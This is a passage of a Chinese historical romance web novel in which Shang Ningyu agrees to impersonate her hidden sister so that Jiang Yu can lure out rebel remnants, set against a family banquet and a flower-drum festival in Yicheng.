忽然远远瞧见一人紧紧地盯着这个方向,她眼神露疑,问沙弥:“那人是谁?” 那人见被发现,慌忙掉头, 继而往山坡下而去, 沙弥双手合十, 道:“那是一名暂住寺里的恩客,无意间打搅了娘子,还望娘子莫怪。” 商凝语自是说无碍, 心中却觉得有些奇怪。 逛完了寺庙,太阳渐渐西斜时分,几人才上了马车,准备回府。 因着寺庙里莫名其妙的这一遭,回去的路上,商凝语莫名觉得,马车后有人跟着。 到了名贤巷的巷头,忽然迎上来一位府里的小厮,小厮满脸急色,甚至等不及马车停顿,便直奔车窗,喜道:“国公府派人来了,说要寻表姑娘。” 田氏微惊,这个时候寻过来是作甚? “可有说是什么事?” 小厮喜道:“说是给表姑娘寻了门亲事,要接表姑娘回京。” 这下,连商凝语也惊着了,商明惠掀眸看过来,双眉紧锁。 话不多说,马车很快进了宅,商明惠一下马车,见到来人,顿时眼眶一热。 “傅姆。” 傅姆乃是老太君身边陪嫁嬷嬷,而今也有五十又二,却千里迢迢赶至宜城,岂能不叫商明惠动容? 心头激荡之余,不免心惊,“可是外祖母?” 傅姆忙笑道:“老太君好得很,是老太君和夫人都想念你,吩咐我来接你去京都住几日。” 这话说出来,也就左邻右舍听了艳羡不已,信以为真。 商明惠听了,面露惊疑,傅姆满脸堆笑地将她带进屋子,进了屋内,可见商父也已从外面事务中回来,面色凝重。 傅姆收了笑,见屋内都是三房几人,也不避着,将事情说了。 原来,是宫里的平乐公主不知从哪里得了消息,说陪在宁平王身边的侧妃并非商四娘,要永宁帝派人追查。 “此事好解释,老太君吩咐我将姐儿送去扬州,程家的女儿多得是,任是她们想找,也找不到一个来,怕只怕,都察院的黄御史派人来查。” 原来的王御史乃是国公夫人的娘家,与现任这位黄御史乃是死对头,先太子叛乱时,王御史被害,圣上对王家赐匾褒奖后,提拔了这位黄御史,而这位黄御史的苛刻严明程度与王御史不相上下,行事作风刚正不阿,连圣上都颇为忌惮。 黄家家底丰厚,若是听闻风声,恐怕会第一时间偷偷来查,届时,事情闹大,就真真无法收场,因此,国公府打算先把人送走。 商明惠无话可说,当日下午便收拾了行礼,随傅姆出城。 事情发生得太过突然,商凝语和田氏都没缓过来,偏屋小院就没了人,若非来者是老太君身边的老人,都不愿放商明惠就这么走了。 接连好几日,商凝语上课都浑身没劲。 上巳节前日,再次下学,八九岁的女学子们,施施然陆续从学堂里走出,点翠率先端着茶具离开,商凝语缀在最后,准备离开杏园。 这时,院外传来几声独特的鸟鸣声,商凝语抬头望去,只见墙头伏着一名男子,头戴僕头,朝她招手媚笑。 “七娘子。” 商凝语眼眸微眯,认出来者乃是宜城县令的儿子,夏文钦。 夏文钦掌心掩在嘴边,唤:“七娘子,明日我约了几位友人春游,你也一起来玩玩?” 商凝语拧眉一笑,信步走到墙下,仰头纳闷道:“夏公子,你这腿已经养好了?这才多久,你又来?” 夏文钦乃是已成数一数二的风流人物,自从那年在商家送葬队中瞧了一眼商凝语,就差了自己的妹妹前来与商家众女结交,可惜当时商家一门心思守丧,拒绝一切应酬,直至去年除服,才赴约参加了夏娘子置办的冬日宴。 此后,这位夏公子就彻底缠上了商凝语。 年初元宵佳节,将商凝语堵在半道上,幸好被商凝言察觉,带着几个仆从抡起棍子将人一顿揍,打折了一条腿,没想到这又来了。 这不,才说了两句话,得了风声的仆从又拿着棍子从外围包抄,冲着墙上人喊杀过去。 在下面当梯子的小厮连忙告饶,夏文钦下盘不稳,忙对着屋内喊去:“七娘子,明日巳时初,我在探月亭等你,不见不散。” 话音落,双腿也跟着着地,扑通一声。 墙那头传来追逐怒火声,商凝语失笑地摇了摇头。 忽然,一阵春风拂来,墙头青苔阴绿,庭院中姹紫嫣红,都在这阵春风里晃了晃,出其不意地,她脑海中不由得想起了另一位惊才艳艳的玉面公子。 都是纨绔,行事作风却有着云泥之别,那人看着不着调,随心随性,一举一动却令人赏心悦目,真真是天皇贵胄,高山仰止。 便是这念头一起,心头再次拂过临别一幕。 那一幕,已经不知是这四年来第几次,骤然跃入脑海了。 他双目赤红,似遭受重大打击,炯炯双眸里微微可见一丝祈求。 商凝语长这么大,都自认光明磊落,一身清白,骤然这般,真真以为自己似那戏文里的负心汉,辜负了一片赤诚之心,但转念一想,她从未表露过或者承诺过什么,他缘何生出这般怨怼? 但那一幕给人留下的印象实在太过深刻,以至于她白日里尚可理智地说服自己,午夜梦回就又总觉得是自己让一位心想光明的少年再度陷入了自伤深渊。 啊呸呸呸,一定是她话本子看多了,才会陷在这般以情爱为重的认知里。 也是这两年,商凝语将看话本子的重心从经世致用转移到了谈情说爱上,才捋清楚了这种思绪,嗯,她应该是对江昱生出了愧疚之心。 想想人家对她惦记了不知多久,而她在私心作祟下,忽略了他这份心意继而加以利用,待到最后幡然悔悟,将人一脚踹了。这,着实有失君子之道。 好在现在四年都过去了,可能人家早已娶妻生子,等同于放下,她倒不必寻思着道歉。 她只是,被这一点点歉疚困住了,而已。 时间会让她淡忘的。 如是想着,商凝语回到屋内,提笔写信,准备问一问陆霁,外放的事进展如何。 相信陆霁拿到信,会明白她的意思,是时候,给她和她的家人一个准信了- 宜城的气候着实舒适,春暖花开,温湿适宜,江昱在紫云寺只住了两日,就有些喜欢上这里了。 紫云寺后山乃是一片竹林,竹林深处,有一座荒废的小屋,原是很早时期,寺里一位老僧坐化之地。 后来此地被圈禁起来,多年前,一条山涧从屋侧曲径流出,几场暴雨后,在竹屋前形成一泉清池,到了盛夏时节,池水云蒸雾绕,便开始传言,此地有宝气。 江昱初初决定暂住紫云寺,也就相中了此地,谢花儿带着侍从以及沙弥们将竹屋一通改造,短短一日,就叫竹屋焕然一新。 翠绿新屋门前,延申了一道宽敞的架桥,搭置两岸,竹板排列齐整,间无罅隙,此刻,江昱双手背后,立在竹板上,看着泉水中新放进的两尾锦鲤,谢花儿手拿鱼食,适时的往里撒放。 身后传来动静,谢花儿转头望去,只见侍卫长郭然从旁侧小径一步踏上竹板,朝这方走来。 江昱侧目,待人行礼后,问:“怎么样?” 郭然道:“问出来了,此人是乔家的一名管事,五年前,乔家举事之前,他被派出去采办,年底遇上冰雪封路,没有及时赶回京都,后来,乔家事败,他的儿子被杀,妻女充入妓馆,他一个人潜逃在外,直至去年,有人找到他,要他查证商四娘子下落,他才寻到了这里。” “他认识商四娘?”江昱问。 郭然颔首,“是,此人善画,且他认得七娘子,那日见过商七娘子和程家表姑娘后,就画了两幅画出来,属下已经派人沿路截获,此刻应当已经在回程的路上。” “做得好。”江昱淡淡道,又问了几个细节后,将人挥退。 主板上,再次陷入一片阒寂。 谢花儿将食盒收起来,看着主子,眼底划过一丝黯然。 昔日形骸放浪的江世子,如今依旧一袭紫袍,只是眉宇间的张扬早已沉落,俨然化作一副长公主稀罕的沉稳模样。 这场蜕变,是在圣上进京时,就有的预料,只是无论如何也想不到,其中还夹杂了其他原因。 其实世子作为五城兵马司总指挥使,这种南下捉拿反贼的事,根本轮不上他,可一听反贼朝着宜城方向而来,世子就没坐得住,连夜进宫,请旨出城。 日夜兼程。 第76章 眼下, 宁平王以及乔家尚有出逃在外的同党,这些人已经不成气候,但坏就坏在, 先帝临终前,在五位肱骨大臣面前, 给宁平王留了一道圣旨。 宣德帝功业平平,一番算计尽在天下,他对禹王这个嫡子寄予了多重的厚望, 与之相反地, 对与自己更为相像的宁平王就有多抵触。 这是一位与历任帝王截然相反的心态,有雄心,却自卑。 当年看着兄长互相倾轧,皇妹替他奔波,这位年轻帝王也曾有过雄心,但冷却下来独当一面时, 却生了胆怯, 无它,他从未真正受过帝王的教育。 一切仿佛赶鸭子上架, 上架之前朝气蓬勃,上架之后认清现实,原来,天下并非那般好治理。 需要平衡各方势力, 需要攘外安内, 西南蝗灾, 西北战事,连绵不断,宵衣旰食, 上位者开始力不从心。 直到禹王殿下出生,渐渐长大,表现出的聪颖才智令人惊艳,宣德帝顿觉柳暗花明,将一切希望寄托在这位爱子身上,倾力栽培,但是,他对宁平王还是心存怜悯。 待到心愿达成,他对这个幼子的愧疚之心悄然浮上水面。 宁平王有罪,但罪不至死,宣德帝临终前,留下口谕,着令宁平王扶灵送葬,就是要在五位肱骨大臣面前留下宁平王一命。 而今宁平王拿侧妃说事,焉知不是有心之人故意借机挑衅新帝权威,星星之火可以燎原,只要新帝的公信力受损,缓缓图谋,取而代之的可能性并非全无。 毕竟,宁平王曾是太子,曾在各州县积攒下了不少声望。 当然,这件事做起来也很难,永宁帝要做的就是在最开始掐灭这条星火。 宜城县令夏长东得知勇毅侯世子亲临,连忙带着几个衙役前来拜见,江昱听了禀报,吩咐将人带进来,转身进了竹屋。 身宽体胖的夏长东,裹着心思,踏进矮槛,抬眼见到高坐主位,端茶浅尝的男子,顿时心中暗暗一惊。 州府传话下来,说京城来了一位地位超常的上官,暗访各县,需要小心招待,起初听着还道是御史台哪位大人下来视察,却没想到是这样一位玉面公子。 只见这位上官面庞俊俏,风姿端雅,乍一看还道是哪家的纨绔故弄玄虚,巡察是假,借机游山玩水,再回去弄点功绩用以升官才是真。 正皱起眉头,心生不喜,再见那位上官放下茶盏,露出一双眉目来,果然如玉雕似的,这穷乡僻壤的地方,都养不出这号人物来。 正确证了心中想法,却见那人掀眸看过来,夏长东只对视一眼,顿时心中一凛。 眉目生得如画般的人物,却有着一双摄人的眼神。 什么如画般的人物,那全都是上天造物,给了一副好皮囊,但一个人若有一双涉事深沉的眼,那便不是造物这般简单,可见,这位或许并非徒有其表,是个有城府的。 敛了心神,一番见礼后,夏长东再作揖,道:“大人奉旨巡察,驻跸鄙县,下官特另安排住处,还请大人移驾,随下官前往。” 江昱离京寻的便是巡察江南各地的借口,主要是找到乔家剩余同党,此事自然得秘密进行。 闻言,客气婉拒:“夏大人不必客气,此地景色宜人,我一见如故,甚为欢喜,倒也不必更换。” 谢花儿飞快地瞄了眼世子,世子在京都愈发寡言,出了京,更不得了,开始诌文起来。 夏长东再三劝说,眼见无果,只好改其道而行,“明日上祀,城中有花鼓游行,此乃我宜城一大盛事,届时非常热闹,不知大人可否拨冗前来观赏一二?” 唯恐这位上官再次拒绝,夏长东又道:“除了花鼓游行,城中举办一年一度的祭祀活动,祓禊迎祥,游春宴饮,乡绅富商全部前往,大人既是巡察,下官斗胆,请大人亲临,先睹我宜城风采。” 此言无异于告诉江昱,我将本地的乡绅富商全部召集在你面前,任你查。 说得颇有几分自大。 谢花儿静立旁侧,听了其中“乡绅”二字,机敏地掀了下眼皮。 果然,就见他家天山雪莲般冷峻的世子松了口,浅笑道:“宜城花鼓声名远扬,夏大人盛情,本官便前往赏一赏。” “下官恭候大驾。”夏长东长吁一口气,又客套一番,回了几个问题,方才回去。 待到夏长东离开,江昱就没稳住了,提起商家,就想起那个气人的女娘,原想着缓一缓,但人的冲动说来就来,怎么忍得住? 立刻着令谢花儿去给商府递上名帖,他今日就要去拜访商三爷。 谢花儿转身去安排,郭然送夏长东离开后,回来与他撞上,听了吩咐,不由得担忧:“圣上可是早有警示,不准世子私下再寻商家。” 谢花儿“嗐”地一声,白他一眼,“你这功夫都学到体格上去了,脑子是一点没长?” 本来世子端在那看他喂鱼,就心不在焉,心里想着甚,他还能不清楚? 眼见这位侍卫长还是没明白,谢花儿便提醒道:“圣上口谕是四年前下的,现在已经过时了,否则,眼下世子怎可能还会在这里?” 这都不懂,怪不得只能做个莽夫。 彼时,郭然寻过去传信,商晏竹正带着三个侄儿以及自己的亲子,平整秧田,查看水渠,为即将到来的春耕做准备。 宜城的三月,雨水充沛,待到四月播种插秧,便是风调雨顺,秋收万颗子的伊始。 与他说给老伯爷听的那般,双亲周年祭后,他便开始亲自带着子侄下地耕种农作,真真做起了田舍翁。 郭然说明来意,商晏竹面上怔忪,还是商承柏最先反应过来,欣喜万分,道:“三叔,是勇毅侯世子,要来府上拜访您。” 商晏竹虽是知晓幼女那点事,但时隔久远,早已不放在心上。 怔忪后,不动声色地问:“商家现在并无官位在身,与世子也无旧情,不知突然拜访,所为何事?” 郭然得谢花儿提点,心知商七娘的事,主子还没摸着边,当即拱手行了一礼,而后上前一步,小声道:“三爷多虑,世子此次南下,实则为的是宁平王侧妃之事前来,具体细节,还需世子当面与三爷详谈。” 一听宁平王侧妃,商晏竹立刻肃容,言道:“请世子稍后,我这就回家。” 留下商承柏等几人继续勘察地形和田地,叮嘱其将踏坏的田埂围拢起来,便回了名贤巷。 田氏见他回来得早,多嘴问了一句,得知勇毅侯世子来了宜城,大吃一惊,商晏竹见她面容失色,连忙解释了一句。 田氏拍着胸脯,松了口气,“合该是这样,这都四年过去,江世子也应该娶亲了,圣上能将此事交由他来办,可见他如今长进了不少。” 曾几何时,听到女儿说起江昱做下的几件事,对这位纨绔别提翻了多少白眼,如今见他得圣上信任,心中只叹物是人非。 商晏竹小小了事,并不放在心上,吩咐她去后厨,中午多备几道菜。 田氏原想留个心眼,为谨慎起见,叫人单独送两个菜去后院,却被商晏竹制止了,“欲盖弥彰,到时候你如何解释?” 田氏陡然醒悟,也是,府里人多,骤然少了一人,自会有人问起,到时候,岂不叫人看出他们心虚? 于是,在商晏竹和田氏都想表现得更加坦然的情况下,商凝语对今日有客到访一无所知。 巳时三刻,江昱坐着马车到商家新宅门前,商晏竹早在门前等候,见他下了马车,掀了衣袍就要下跪,并道:“草民拜见江大人。” 江昱又岂能受他这一拜,忙托起双臂,道:“三爷言重,晚辈怎能担此大礼,快快请起。” 商晏竹也不坚持,将人引进家中,行至正厅。 二人并肩时,商晏竹目光掠过身侧年轻人身上。 此子少年成名,风光霁月,可惜后来一再堕落,个中缘由,他已经从一双儿女那听来的轶事中拼凑出来,只叹其经历坎坷,忍常人不能忍。 好在,眼下一切都开始面向光明了。 心中对其,却是万分佩服其之坚韧。 进了屋内,江昱再三推让,在次位坐下,互相问候一番后,商晏竹也不纠缠,直接步入正题,问:“眼下人已经不在宜城,不知世子预备如何?” 江昱面露惊色:“不在宜城?” 商晏竹见他似乎不知内情,将国公府已经来过一趟的事说了,江昱顿时陷入沉默。 商晏竹猜测,他是想引蛇出洞,一举围剿乔氏余党。 沉默住,心中倒不是有怨,只道人之常情,帝王之心,永远在于江山社稷。 江昱面上不动如山,眉宇间仿佛凝了一层郁色,实则内心在权衡,此时顺水推舟,是否合适? “如此,不知伯父可否借我一人?让我引蛇出洞?” 机不可失,终归还是要尝试一把。 他心知这位三爷心中如何看他,但,那又如何? 他是势必要将京都那位按进宫里去了,届时,他清理乔氏余孽,再在江南一带立下些许功劳,就能让她的父亲看到,他也能爱民如子,行事作为不输那位。 京都城里的纨绔,并非会输给乡下的麒麟子。 第77章 借谁, 不言而喻。 不可否认,幼女与江昱的那点纠葛浮上心头,商三爷立刻嗅出端倪, 怀疑江昱他要趁火打劫。 不过,商三爷面色不动, 继续朝着追剿反贼一事本身上思索,必得承认,这的确不失一条良策。 两个女儿长相极为相似, 尤其是额眉上端, 几乎如出一辙,若以面纱覆面,完全可以以假乱真。 如此,免不了要将幼女交到此人手中。 这还真是难办,难道要因为长女,牺牲幼女? 商三爷不动声色地垂下眼帘, 道:“此事好办, 不知世子准备如何引蛇出洞?” 江昱心中松快,道:“明日乃上祀, 听说宜城有花鼓游街,游春宴饮,届时先让表姑娘出现在商家一行人中,先让他们确定表姑娘身份, 后续必然会有贼人来府上抢人, 待到那时, 恳请伯父,允我在府上叨扰几日,我定会布置周全, 护府上众人安全无虞,将他们一举擒拿。” 江昱掌管五城兵马司,人手宽裕,再者,也可以宅中丢失财物为由,着令夏县令在附近周边加强布控。 商晏竹颔首,如此一劳永逸,也算能接受。 二人又商议了具体细节,到了午膳时间,仆从前来请示是否传膳,商晏竹应下,说着,其他二房的当家人以及子女全部到了隔壁花厅。 商晏竹请江昱移步,二人出现在花厅,其余人见了江昱,纷纷见礼,江昱姿态恭谦,通通以礼相待,商凝语兄妹两结伴而来,迟了片刻,酒菜都已开始上桌。 往日这个时候,花厅里落座才三三两两,总要再略等片刻,酒菜以及人员才要上齐,今日田氏忘记叮嘱二人有客到访,且商承柏领着两个弟弟率先回府,倒将不慌不忙的商凝言撇至最后,以至于二人来得最迟。 二人走进小院,就见到三房齐聚,商凝语心中纳罕,未仔细瞧屋子里面,注意力全在侄儿敏哥儿身上,小家伙今年八岁,乃是长兄商承柏的独子,十分调皮,素日被长嫂卞氏压着性子,这会儿却在门口舞狮子,手舞足蹈,十分兴奋。 她含笑进门,摸了一下敏哥儿脑门,道:“今日课上,就属你的茶煮得最苦,回头让你爹陪我一罐。” 话音未落,她陡然注意到主桌前坐在她爹旁侧的身影,四年过去,他的模样和气质丝毫未变,清隽中含着一丝冷艳。 商凝语怔住了。 他怎么会在这儿? 目光在父亲脸上睃巡一回,只见商父面容平静,江昱似乎也没注意到她进来,正与商父说什么,引得商父微微颔首,与他交谈。 卞氏将调皮的儿子拉过来,低声训斥两句,顺便也将晃了神的商凝语拉至一旁坐下,小声嘀咕:“过几日,我去茶园采茶,还你明前茶。” 宜城郊外有一片茶林,此时正是冒新芽的时候。 商家人口多,花厅里,日常一起用餐是一大桌,今日分席,男人一桌,女人一桌,商凝语被拉着坐下,恰好背对江昱侧方,虽说避开正面相迎,但也顿时生出如芒在背的幻觉。 她扯了嘴角笑了笑:“大嫂,我就和敏哥儿说个笑,岂能真要您的茶。” 音线浅淡,一丝一缕,穿过嘈杂的声音,飘进江昱的耳中,鼓膜不可抑制地跳了跳。 江昱神色不变,见商三爷执起酒壶,连忙起身,半夺半请地将酒壶抢了过来,“不敢劳烦伯父,晚辈离京时,家父写信再三叮嘱,要晚辈行子侄礼,万不可在伯父面前托大,今日这酒若是让伯父斟下,晚辈回京指不定要断条腿。” 商三爷畅怀一笑,问:“多年不见侯爷,不知侯爷现下落脚何处?如今可还好?” “上次家父来信,说要去一趟岭南,眼下恐怕正踏在伯父曾经经营的那片疆土上,享伯父治下的风土人情。” 商三爷果然面露惊讶,欣喜难掩,关切问道:“岭南地域广阔,又崎岖难寻,需得熟通地志的向导引路,否则落入瘴气之地,恐会落下病根,侯爷可有联系当地官员,着人带路?” 江昱自然说无,“家父云游四方,早放下身份,无论何地都是只身前往,得伯父提醒,晚辈晚间就去信一封,叮嘱他小心一些。” “我也写封信给我的一位朋友,让他留意着些,瑾弋,你也写信给岭南官府,叫他们找到侯爷,派个人跟着。”商三爷是真的挂心勇毅侯,不知不觉,称呼已经从“世子”变成了“瑾弋”。 只言片语传到这方来,商凝语翻了个白眼,对江昱此翻奉承不屑之余,对那位特意去领略父亲治下领土的侯爷,也产生了一点好奇。 一位养尊处优的侯爷呐,竟然不辞辛苦,去那么偏远的地方游玩,一定是在心中存了某种无法撼动的信念。 值得佩服! 酒菜上桌,主桌上很快推杯换盏,谈笑风生。 商二爷曾经在京都,对江昱只闻其名,未见其人,今日一见,心中纳罕,并庆幸,没想到还有人记得他们商家,不免多敬了几杯。 江昱气质冷冽,但他笑起来,愿意与人亲和时,那是相当令人舒贴。 他对二老爷格外亲厚,来者不拒,一点架子也无,这厢的二夫人方氏见了,一顿饭吃得眉开眼笑,须臾,酒足饭饱,眼珠子便转动起来。 方氏的座位靠近主桌,在商凝语的另一边,中间隔着贺氏和长房儿媳卞玉娘,只需朝主桌上撇去一眼,就将江昱的面容看个一清二楚。 她越看越喜欢,很快发现,江世子每每落下竹箸,无人敬酒或是攀谈时,便会垂下眼帘,而每到这时,便也是商凝语侧脸过来与卞玉娘说话的时候。 她心头一动,目光再次转移过去,就见江世子与坐在最下首的儿子说了句话,面朝这边转动过来。 方氏有心试探,朝前方笑望过去,唤了一声:“语姐儿。” 声音不大不小,果然,在主桌上男人还在继续交谈时,那位江世子眼风朝这厢扇了过来。 她笑得灿烂,道:“明日花鼓游行,你也去玩玩,许久不见你出门,我看你都闷坏了,趁着这个机会,多认识认识别府的几位女娘。” 商凝语微愕。 其实去年除服之后,她和隐姓埋名的四姐姐也曾出府参加过别府的宴会,邀请人都是夫人和女娘,只是到了之后才发现并非如此简单,那些乡绅富商,都在打着女眷宴饮的幌子,让儿子或者子侄现身转悠,两次之后,她就再也没去赴过宴。 这在府上并非秘密。商凝语抿唇,不愿在此间与她多言,道:“多谢二伯母,我知道了。” 这便是应下了,方氏立刻察觉,那厢世子爷迎着自家儿子磕磕碰碰的敬辞,饮下杯酒时,微微扬起了嘴角。 午膳过后,商凝语便离开了花厅,女眷也相继散去。 主桌上,觥筹交错还在继续,江昱能说会道,从京都现下的治安说到宜城的治理,从宜城的茶园说到长江之水,不仅如此,而且,耳听八方,几位叔伯以及同辈相互交谈,随时问上一句,他也能转过头来一并兼顾,绝不顾此失彼,真真的左右逢源,长袖善舞。 言谈举止,进退得宜。 商晏竹越看,是越欣赏这位才俊。 出自名门,礼仪周全,诗词歌赋,乃至名家经典,全都信手拈来。 确是难得一遇的世家公子。 酒足饭饱,桌上只剩下残羹冷炙,江昱还清醒着,大房几个子侄以及二房父子几人全都烂醉如泥,商三爷饮得也有点多。 推己及人,他以为江昱也在硬撑着,唤来田氏,“将客房收拾出来,让瑾弋去睡一觉,酒醒了再走。” 嗯,还是要走的。 江昱忙说:“不用不用,不用麻烦伯母,我就坐在这儿,歇息片刻就好。” 说着,就站了起来,身子跟着晃了晃。 “世子。”谢花儿忙搀扶住,朝田氏尴尬道:“夫人别信我家世子的,他惯会逞能的。” 田氏僵笑两下,“好,你先服侍一下你家世子,我去收拾屋子出来。” 客房在东院前头,距离主院的偏屋还有一点距离,距离杏园只有一墙之隔。 商凝语也没刻意打听,傍晚时分,江昱酒醒过来,寻田氏招呼一声离开。 田氏笑盈盈将人送走,回到主院寝屋,便收了笑,询问品茗醒酒的商晏竹,“你真答应他,叫呦呦李代桃僵,前去抓人?” “这小子使用阳谋,叫我不得不应啊。”商晏竹无奈:“你若是不应,拿什么理由?别忘了,他这是在帮咱们商家。” 若这不关乎自家女儿名声,他会更加欣赏这位纨绔。 田氏撇了撇嘴,“我看他是贼心不死。” 这下换来了商晏竹一声嗤笑,“你当你女儿是天女下凡?这么多年过去,人家还惦记着呢?” 他今日格外留意了,这小子一个眼神都没给幼女,恐怕早歇了心思。 叮嘱道:“以后还会有几日接触,你可莫要自作多情,让人看了笑话。” 这话自然得应,田氏虽尚存怀疑,也一口应下了:“知道了,我也不傻。” 坦坦荡荡,才能叫人无可趁之机。 第78章 傍晚时分, 金红色的霞光笼罩了半边天,绚烂璀璨。 点心铺子上的管事来寻,说新采办的一批面粉出了点问题, 商凝语这厢却又被主院那头的小厮来通禀,商父着她去书房一趟, 不得已,她叫点翠替自己去一趟铺子。 进了主院书房,就见商父正在书案后看书, 只看一眼大巨头的厚度, 便知道,这肯定又是关于地物志或是轻工坊的哪本巨著。 “阿爹,您找我?” “嗯,先坐下。”商父指着对案的椅子,道。 待到商凝语坐下,他也收了书, 直言道:“今日江世子来, 是为了你姐姐的事。” 商凝语一惊。 不等她开口,商父五指并拢朝她按了按, 安抚道:“国公府那边没事,是乔家这边还有漏网之鱼,皇陵那边也发现了端倪,江世子想让我们配合, 将乔氏余党一网打尽。” 商凝语花了几息的功夫消化了这里的信息, 问:“他想让我假扮姐姐, 引蛇出洞?” “不错。”商晏竹眼露赞赏,“你能立刻想出这条计策,可见你也同意这个办法?” 商凝语略作思考, 便点了头,“我去!” “会不会觉得,阿爹太过狠心?这是件十分危险的事,一个不慎,便能要了你的命。”商晏竹并未急着回应,沉吟片刻,问。 商凝语却笑了,目露狠色,道:“若能用我的命,换四姐姐自由和他们所有人的命,那也值了。” “胡说八道。”商晏竹眸光微沉,立刻斥责。 而后,沉声叮嘱:“江昱承诺,会护你周全,你也要小心,切不可拼命,这不是什么大事,天塌了,还有你阿爹顶着,轮不到你来拼命。” 商凝语应下,从屋里出来后,橙光已经被浓夜吞噬,她望着夜空,庭院里,风吹着树枝沙沙作响,分外安宁。 阿爹错了,她不会怨怪阿爹让她以身涉险,相反,她得感谢江昱,能将这个消息告诉他们,让她清楚的知道,宁平王那边已经进展到了哪一步。 她从来不信商明惠能躲藏一辈子,这就像一把刀,时刻悬挂在商家的头顶上,现在能让她参与进来,亲手落下这把刀,她,与有荣焉。 就像商凝言,当初瞒着他,将他强行送回岭南,他到现在还没有原谅她和阿爹一样。 他们从来都不希望自己成为家的壁垒。 回到自己的小屋,点翠已经回来了,禀道:“近日雨水多,库房受了潮气,两袋面粉都长了霉,我叫人将两袋面粉都清理了,过两日天晴,正好叫人将剩下的面粉都拿出来晾晒干透。” “还有,今年一定要将库房翻修一遍,我今天去屋后看了一眼,那个勾水槽,向屋角下渗水更加严重了,等到下个月梅雨,恐怕里面的货物都要遭殃。” 这个商凝语早有准备,“铺子已经连续三个月没有盘账,等过几日,将账盘一盘,暂时先不拿过来家用,先给铺子翻修一遍,剩余的银子看看能不能将二哥后屋的院子扩建一点,大伯母想给二哥续弦,那个屋子不够,还得在后面再开个门。” 一说起银子就犯愁,没完没了的。 点翠颔首,边服侍她洗漱。 翌日。 天色初破晓,商凝语对镜添妆,按照商明惠的习惯,特意露出饱满的额头,并用凤梢在眼睑尾处勾勒线条,显现出几分冷厉。 一头乌黑的青丝,在后脑勺卷起漂亮的弧线,最后定格在上端,以一支碧玉簪固定,干净利落,却不是时下宜城最流行的发式。 商凝语看着镜中的自己,眉头一挑。 点翠美滋滋道:“昨日忘了告诉娘子,今日花鼓游街结束后,还有一场马球花鼓赛,用马球击鼓,我寻思着,娘子肯定想上场试试,就给你梳了这个发髻。” 用马球击鼓? “这倒是没玩过,可以试试。”商凝语接受了。 换上一件荷白色蝴蝶袖交领上衣,春寒未去,外罩暮山紫圆领比甲,下穿紫罗兰织金马面裙,颜色鲜亮,衬得一张白皙的脸面若芙蕖,白嫩娇艳。 主仆二人出门,来到正院垂花门前,大房和二房兄嫂也刚到,一家人难得齐聚,集体出门游玩,最高兴的就属敏哥儿和二房孙子泉哥儿。 一个八岁,一个六岁,两个又都在商凝语手底下上艺课,相比其他夫子的严苛,这位姑姑严厉中带着亲厚,课堂上又不拘一格,让二人格外喜欢这位姑姑,一上来就对着商凝语叽叽喳喳。 商凝语双耳各置,回答完这个问题回答那个,左右脑互搏,方氏见了,横了眼柳青梅,“还不快将泉哥儿带好,今个儿别让他烦着他姑姑。” 方氏满腹莫名和委屈,先前见着七妹妹有门亲事可以重回京都,婆母可没少叫她用儿子笼络这位幼姑的心。 卞玉娘听了这话,也顺势将敏哥儿叫了过来——那位江世子的突然造访,也给她吊起了一丝侥幸——京都那位至今毫无音讯,在她看来,眼见商家落败,见异思迁的可能性极大。 商凝语对伯母和嫂嫂的心思了然于心,心头起了一点厌恶,却也无可奈何,这都是她的家人。 家中只有两辆马车,今日一大早,管事就先去了一趟集市,租了一辆马车前来,商凝语着令点翠留在家中,覆上面纱,和爹娘以及商凝言登上马车,朝着集市方向出发。 祭祀活动在城北一个大型天坛,花鼓游街从东开始,沿着城中内河一路向西,经过官署衙门,越过闹市,最后折转,去向城北,这途中,最热闹的就属闹市区的长鸣街,卯时中,长鸣街就人满为患,踵迹相接。 谢花儿寻到商家马车,对着车厢里通禀一声,田氏依言,吩咐车夫驾车从后街绕行,去长鸣街的保香楼。 保香楼的二楼,只要窗牖洞开,便是视野宽阔,左右可观半条街。 夏文钦提前半个月就将整个二楼包场了,结果临时被他爹征用,气得他一早跑了好几个酒楼,终于在另一条街道定下了二楼包厢,可惜,在探月亭左右没等到佳人前来。 夏长东没见到儿子,也没心思管,着令属下伺候好江世子,自己就去了天坛,主持祭祀事宜。 商家人陆续登上二楼,花鼓未至,等待的片刻,店伙计奉上茶水,端上几盘精致的点心,看的两个孩子眼睛蹭蹭放光。 如今的商家分外节俭,就连商凝语经营的点心铺子,也只能十天半月带回府中让众人尝个鲜。 是以,这下可馋坏了两个小家伙。 卞玉娘也从嬷嬷手中报过小女儿,拿起桌上的零嘴喂她,贺氏和方氏脸上也滑过惬意,日子仿佛回到京都城里,风光无限的时候。 远处传来动静,喧沸声紧锣密鼓地从街道东边传来,众人立刻离开坐席,扑到窗棂上向外张望。 只见开路的是八名精壮的汉子,身着绛红色劲装,头扎皂巾,胸前斜挎着径约二尺的牛皮大鼓。由远及近,步伐整齐,每踏出一步,手中的鼓槌便挟着千钧之势擂下一鼓。 “咚——咚——咚咚锵——” 鼓声厚重,震得脚下青石板轻轻颤动。鼓点节奏鲜明,犹如战鼓雷鸣,又似万马奔腾,将满街的热闹悉数镇住,让这天地间只剩下这纯粹的雷霆之音。 街道左右两旁站满了看热闹的百姓,老人牵着孩童,男人护着女人,一面眺望花鼓游队,一面被横亘在身前的吏卒往后推。 鼓队中,最惹眼的还是位列队形中央的“花鼓娘子”们。一水儿的十四五岁的妙龄女子,身着统一的莺哥绿绸袄,腰系榴色火焰般鲜红的曳地长裙,云鬓上金钗步摇随着步伐晃动,在艳阳下潋滟生光。 她们的左臂上,也架着巴掌大小的花鼓,鼓身彩绘着牡丹以及缠枝莲纹,精致非常,右手纤指捏着细长的竹制鼓签,在故面上点击出美妙的音符。 “嗒嗒嗒,嗒嗒嗒” 小鼓声音清脆明快,如珠玉落盘,又似急雨敲窗,混迹在大起大落的大鼓节拍中,似对答,似唱和,相得益彰。 紧随其后的,是手持小镲、铜锣和唢呐的乐师,镲声清亮,锣声高亢,那唢呐更是穿云裂石,百转千回,将欢腾热烈的气氛推至九天云霄。 整个游街队伍,如一道流动的盛宴,携带着声与色,邀满城宾客共赏。所过之处,欢声雷动,两侧酒楼茶肆的窗户尽数洞开,探出无数笑脸。 商凝语便是在商家几位夫人公子身后,浅浅露出半张脸,欣赏了这片刻欢愉。 这是一个充满民俗文化的节目,在京都根本无缘欣赏,震动之余,她很快留意到,有人朝上面仰望。 与那人对视一眼,她眼里起先流露出一丝陌生和疑惑,而后恍然大悟般,惊恐地缩回嫂嫂身后,身影消失在窗牖前。 